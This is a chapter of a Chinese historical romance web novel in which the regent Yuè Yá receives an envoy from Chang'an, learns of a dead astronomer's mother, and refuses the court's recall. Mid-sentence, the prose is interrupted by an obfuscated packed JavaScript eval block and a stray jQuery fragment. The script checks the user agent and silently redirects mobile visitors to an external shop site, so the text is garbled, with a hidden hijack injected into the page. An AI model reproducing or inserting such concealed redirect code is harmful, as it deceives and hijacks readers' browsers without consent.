永徽二年的春天，碎叶城来了一个意想不到的客人。
那天月牙正在帐篷里和部落首领们议事。阿史那社尔可汗去年秋天带着骑兵去金山以北平定叛乱，王庭的事务暂时由月牙代理。
她已经习惯了这样的日子，每天处理各部落之间的纠纷，调解牧场和水源的争端，偶尔还要审理一些偷盗和抢劫的案件。
她做得很好。好到连那些当初反对她的人，现在也不得不承认，这个大唐来的可敦，比任何一个突厥男人都更懂得如何治理草原。
“可敦，”一个侍卫掀开帐帘走进来，“外面来了一个人，说是从长安来的，要见您。”
月牙放下手中的羊皮卷，那是一份关于牧场划分的纠纷案卷，微微皱眉：“长安来的？是谁？”
“他说他叫……”侍卫想了想，“他说他叫杜遐龄，是鸿胪寺的官员。”
月牙的心跳漏了一拍。
杜遐龄。
这个名字她太熟悉了。杜遐龄是长孙皇后的外甥，从小在宫中长大，和月牙算是青梅竹马。
他比月牙大五岁，生得一表人才，诗词歌赋样样精通，是长安城里出了名的才子。月牙在宫中的那些年，杜遐龄是她为数不多的朋友之一。
她曾经以为，如果她不被选中去和亲，也许。
不。
她摇了摇头，把这个念头甩出脑海。
“请他进来。”
帐帘掀开，一个三十出头的男子走了进来。他穿着一身靛蓝色的圆领袍服，头上戴着幞头，腰间挂着一枚玉佩。
他的面容清俊，下颌的线条分明，眼角已经有了几道细细的纹路。那是岁月和风沙留下的痕迹。
他比五年前苍老了不少。月牙想。但在草原上走了这么久，还能保持这样的仪容，已经不容易了。
“郡主，”杜遐龄站在帐篷中央，恭恭敬敬地行了一个礼，“别来无恙。”
月牙坐在主位上，没有起身。她看着他，目光平静，像是在看一个陌生人。
“杜大人，”她说，“你从长安来，有什么事？”
杜遐龄直起身来，环视了一圈帐篷里的人。月牙会意，挥了挥手，让部落首领们先退下。帐篷里只剩下了他们两个人。
“郡主，”杜遐龄走近几步，压低声音说，“我是奉了陛下的密旨来的。”
月牙的眉头微微动了一下：“什么密旨？”
杜遐龄从袖中取出一封信，双手递上。月牙接过来，展开信纸，看到上面写着几行字。字迹端正工整，是标准的馆阁体，但她一眼就认出了这是长孙无忌的笔迹，高宗皇帝的舅舅，当朝最大的权臣。
信的内容很简单：西域局势已定，突厥各部均已归附，安西四镇运转良好。朝廷认为月牙的任务已经完成，可以回长安了。信中还说，高宗皇帝已经在长安为她准备了一座府邸，并且打算封她为“安国夫人”，赐食邑三千户。
月牙看完信，把它折好，放在案上。
“杜大人，”她说，“你走了多久？”
“从长安到碎叶，走了四个月。”
“四个月，”月牙点了点头，“那你应该看到了，草原上的春天来得比长安晚了一个多月。这里的草刚发芽，羊刚下羔子，牧民们正在转场。这个时候，我不能走。”
杜遐龄沉默了一会儿，然后说：“郡主，我在长安的时候，听说了一件事。”
“什么事？”
“沈知白……沈大人的事。”
月牙的手指微微颤了一下。她把手指收进袖子里，不让人看见。
“他怎么了？”
“他的母亲——沈老夫人——去年冬天去世了。”杜遐龄的声音很低，“临终前，她一直在念叨儿子的名字。她不知道沈大人已经……她以为他还在西域，还在做他的天文官。”
月牙的嘴唇抿成了一条线。
“沈家只有他一个儿子，”杜遐龄继续说，“他父亲死得早，是老夫人一个人把他拉扯大的。他走的时候，没有成亲，没有留后。现在老夫人走了，沈家……就算是绝后了。”
帐篷里安静了很久。
炉火噼啪地响了一声，火星溅出来，落在毡毯上，烧出一个小小的黑点。
“杜大人，”月牙终于开口，声音平静得不像话，“你告诉我这些，是想让我做什么？”
杜遐龄看着她，眼中有一丝不忍：“郡主，我不是要你做什么。我只是觉得……你应该知道。”
“我知道了，”月牙说，“然后呢？”
“然后——”杜遐龄犹豫了一下，“然后，你是不是应该……回去看看？哪怕只是去沈老夫人的坟前上一炷香？”
月牙站了起来。她走到帐篷门口，掀开帘子，看着外面的草原。春天的碎叶城终于有了些绿意，远处的小山坡上，几个牧童正在放羊，他们的歌声被风吹过来，断断续续的：
“蓝蓝的天上白云飘，白云下面马儿跑……”
“杜大人，”月牙背对着他说，“你知道我为什么没有回长安吗？”
“为什么？”
“因为我不知道该怎么面对那些人。”她转过身来，琥珀色的眼睛里有一种奇异的光，“沈知白是为了救我才死的。他的母亲到死都不知道儿子已经不在了。你让我回长安，去那座空荡荡的府邸里坐着，拿着三千户的食邑，当一个安国夫人，你觉得，我能安心吗？”
杜遐龄张了张嘴，没有说话。
“我不是在责怪你，”月牙的语气柔和了一些，“你是好意，我知道。但你不明白，这片草原对我来说意味着什么。”
她走到案前，拿起那封长孙无忌的信，轻轻地放在烛
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17697219|208010||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
火上。火苗舔舐着纸张，字迹一点一点地卷曲、发黄、变黑，最后化为一撮灰烬。
“杜大人，请你回禀陛下，就说阿史那月牙感谢陛下的恩典，但西域不可一日无主。等阿史那社尔可汗平乱归来，等西域的局势真正稳定下来，我一定回去。”
杜遐龄沉默了很久，最终叹了口气：“郡主，你变了。”
“是吗？”
“你以前在宫里的时候，虽然也倔强，但不像现在这样……”他斟酌了一下用词，“这样坚硬。”
月牙微微一笑：“不是我变硬了，是草原上的风太大了。软的东西，在这里活不下去。”
那天晚上，月牙设宴款待了杜遐龄。她让人杀了一只羊，烤了全羊，又拿出了珍藏多年的长安带来的美酒。两人对坐在帐篷里，喝着酒，说着长安城里的旧事。
杜遐龄喝了酒，话就多了起来。他说起了宫中的变化：长孙皇后去世后，太宗皇帝悲痛了很长时间；太子承乾被废，魏王泰也被贬，最后是晋王治继承了皇位；长孙无忌权倾朝野，连皇帝都要让他三分；武则天，那时候还叫武媚娘，从感业寺被召回宫，现在已经是昭仪了，据说极受高宗宠爱。
“朝中的事情，比草原上的风暴还复杂，”杜遐龄感慨地说，“你留在这里，也许反而是好事。”
月牙端着酒杯，没有说话。
“对了，”杜遐龄忽然想起什么，“我在来之前，去了一趟司天台。”
月牙的手停了一下。
“司天台还在原来的地方，浑天仪也还在。只是……”他看了月牙一眼，“沈大人的位置，一直空着。太史局的人说，他们找不到合适的人来接替他。他在司天台留下的那些星图，至今没有人能完全看懂。”
月牙放下酒杯，轻声说：“他画星图的方式很特别。他不是简单地标注星辰的位置，而是会记录每一颗星星的颜色、亮度、甚至它们移动的速度。他说，星星是有生命的，它们会出生，会老去，会死亡。就像人一样。”
杜遐龄看着她，忽然说：“郡主，你一直在想他，对不对？”
月牙没有回答。她端起酒杯，一饮而尽。酒很烈，呛得她咳了两声，眼角泛起了泪光。
“杜大人，”她说，“天色不早了，你早些休息吧。明天我让人带你去看一看碎叶城外的风景。”
她站起身，走出了帐篷。草原上的夜风迎面吹来，吹散了脸上的酒意。她抬起头，看着满天的星星，深深地吸了一口气。
“沈大人，”她在心里默默地说，“你的母亲走了。你放心，等我能回去的时候，我一定去她的坟前磕三个头。我会告诉她，她的儿子是一个英雄，一个值得所有人记住的人。”
风吹过草原，发出呜呜的声音，像是有人在远方唱歌。
她站在星空下，站了很久很久。